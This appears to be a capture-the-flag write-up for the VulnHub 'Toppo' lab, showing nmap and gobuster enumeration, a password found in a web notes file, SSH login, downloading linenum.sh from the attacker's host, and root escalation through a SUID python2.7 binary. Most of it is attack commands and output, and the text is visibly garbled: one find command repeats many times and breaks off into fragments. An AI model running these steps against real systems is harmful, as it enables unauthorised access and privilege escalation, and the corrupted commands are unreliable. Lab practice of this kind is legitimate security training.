SSH THE BOX

Running: Linux 3.X | 4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

SBIN PYTHON 2.7 TO ROOT

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
ssh-hostkey:
| 1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
| 256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
__ 256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Clean Blog - Start Bootstrap Theme
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
100000 3,4
                 111/tcp6 rpcbind
100000 3,4
                 111/udp6 rpcbind
100024 1
               37840/tcp6 status
100024 1
               39488/udp6 status
| 100024 1 47020/tcp status
|_ 100024 1
              57323/udp status
MAC Address: 00:0C:29:33:00:B7 (VMware)
PORT STATE SERVICE VERSION
47020/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:33:00:B7 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
```

```
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
root@kali:/home/kali/Desktop/vulnhub/toppo# gobuster dir -u http://toppo -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt
/img (Status: 301)
/mail (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/manual (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/LICENSE (Status: 200)
/server-status (Status: 403)
http://toppo/admin/notes.txt
I need to change my password: / 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or
watching soccer .
root@kali:/home/kali/Desktop/vulnhub/toppo# ssh ted@toppo
root@kali:/home/kali/Desktop/tools# python -m SimpleHTTPServer 80
ted@Toppo:~$ wget 10.10.10.20/linenum.sh
[-] Sudoers configuration (condensed):ted ALL=(ALL) NOPASSWD: /usr/bin/awk
ted@Toppo: ^\$ find / -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld \{\} \\ \; 2 > /dev/null | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -4000 ! -type I -maxdepth 3 -exec ls -ld | -perm -g = s -o -perm -q = s -o -p
-rwsrwxrwx 1 root root 3889608 Aug 13 2016 /usr/bin/python2.7
ted@Toppo:~$ python2.7 -c 'import pty; pty.spawn("/bin/sh")'
```

whoami

root